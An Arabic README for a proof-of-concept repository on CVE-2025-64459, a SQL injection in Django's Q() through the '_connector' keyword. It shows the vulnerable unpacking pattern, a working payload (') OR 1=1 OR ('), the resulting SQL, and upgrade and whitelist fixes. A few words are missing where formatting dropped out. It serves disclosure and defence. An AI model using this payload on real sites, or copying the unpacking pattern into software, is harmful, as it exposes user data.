
ثغرة: حقن SQL عبر تفكيك وسيطات الكلمات المفتاحية في QuerySet و Q(). معرف CVE: CVE-2025-64459 الخطورة: حرجة (CVSS 9.1) الإصدارات المتأثرة: Django 5.1 < 5.1.14، 4.2 < 4.2.26، و 5.2 < 5.2.8. الباحث: Cyberstan (جامعة وارويك)
الثغرة: حقن SQL عبر فك توسيع وسيطات الكلمة المفتاحية لـ QuerySet و Q().
معرف CVE: CVE-2025-64459
المُكتشِف: أنا (Cyberstan)
تاريخ الإفصاح: 5 نوفمبر 2025
يحتوي هذا المستودع على إثبات مفهوم (PoC) مُحتَوٍ في Docker يُظهر ثغرة حقن SQL حرجة في Django ORM.
توجد الثغرة في كيفية معالجة كائن Q لوسيطات الكلمات المفتاحية أثناء الإنشاء. تحديدًا، لا يتم تنقية السمة الداخلية _connector بشكل صحيح عند تمريرها عبر فك توسيع القاموس (مثل Q(**user_input)). مما يسمح لمهاجم عن بعد بحقن منطق SQL تعسفي في عبارة الخاصة باستعلام قاعدة البيانات، مما يتيح ، ، و .
WHEREتقع الثغرة في django.db.models.sql.where.WhereNode. الطريقة as_sql، المسؤولة عن تجميع عبارة SQL WHERE، تستخدم تنسيق سلسلة غير آمن لإدراج موصل الاستعلام (AND/OR).
بينما يكون الموصل عادةً افتراضيًا على "AND" أو "OR"، يسمح Django بتجاوز ذلك عبر وسيطة الكلمة المفتاحية _connector في مُنشئ كائن Q.
# منطق مبسط معرض للثغرة في django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# يتم حقن السمة self.connector مباشرة دون تحقق
conn = ' %s ' % self.connector
# ...
تحدث الثغرة عندما يستخدم المطورون فك توسيع القاموس لبناء عوامل تصفية من إدخال المستخدم—وهو نمط شائع في واجهات برمجة التطبيقات للبحث.
نمط الكود المعرض للثغرة:
# يتحكم المهاجم في مفاتيح وقيم 'filters'
filters = request.GET.dict()
query = Q(**filters) # <--- نقطة الثغرة
results = User.objects.filter(query)
إذا تضمن المهاجم _connector كمفتاح في إدخاله، يمكنه التلاعب ببنية SQL.
يستخدم إثبات المفهوم هذا Docker لضمان بيئة متسقة ومعزولة تحتوي على الإصدار المعرض للثغرة من Django (5.1).
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
شغِّل الأمر التالي لبناء البيئة وتنفيذ سكريبت الهجوم:
docker-compose up --build
سينفذ الحاوية سكريبت بايثون (poc.py) يحاكي نقطة نهاية تطبيق معرض للثغرة.
alice (قياسي) و root (مدير)._connector.مخرجات استغلال ناجحة:
محاكاة حمولة مستخدم خبيث:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
SQL المُنشأ:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] نجاح: تم تجاوز عامل التصفية عبر فك توسيع القاموس! تم كشف المستخدم المسؤول.
قم بترقية Django إلى أحدث إصدار أمني فورًا.
pip install Django==5.1.14 (أو الإصدار المناسب)يقدم التصحيح تحققًا صارمًا في WhereNode، مما يضمن أن connector يساوي فقط AND أو OR.
إذا لم تتمكن من الترقية فورًا، راجع قاعدة الكود الخاصة بك بحثًا عن استخدام Q(**kwargs) أو filter(**kwargs). تأكد من أن القاموس المُمرَّر إلى هذه الطرق لا يحتوي أبدًا على مفاتيح يتحكم فيها المستخدم بشكل خام.
النمط الآمن:
# قائمة بيضاء صريحة للحقول المسموح بها
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# الآن آمن لفك التوسيع
User.objects.filter(**clean_filters)
هذا المستودع مخصص للأغراض التعليمية وبحوث الأمن السيبراني فقط.
يقوم الكود المقدم بإنشاء بيئة معرضة للثغرة لإظهار عيب أمني محدد. لا ينبغي أبدًا تشغيله في بيئة إنتاج. المؤلف (Cyberstan) غير مسؤول عن أي إساءة استخدام لهذه المعلومات. اختبار هذا الاستغلال ضد أنظمة بدون إذن صريح غير قانوني.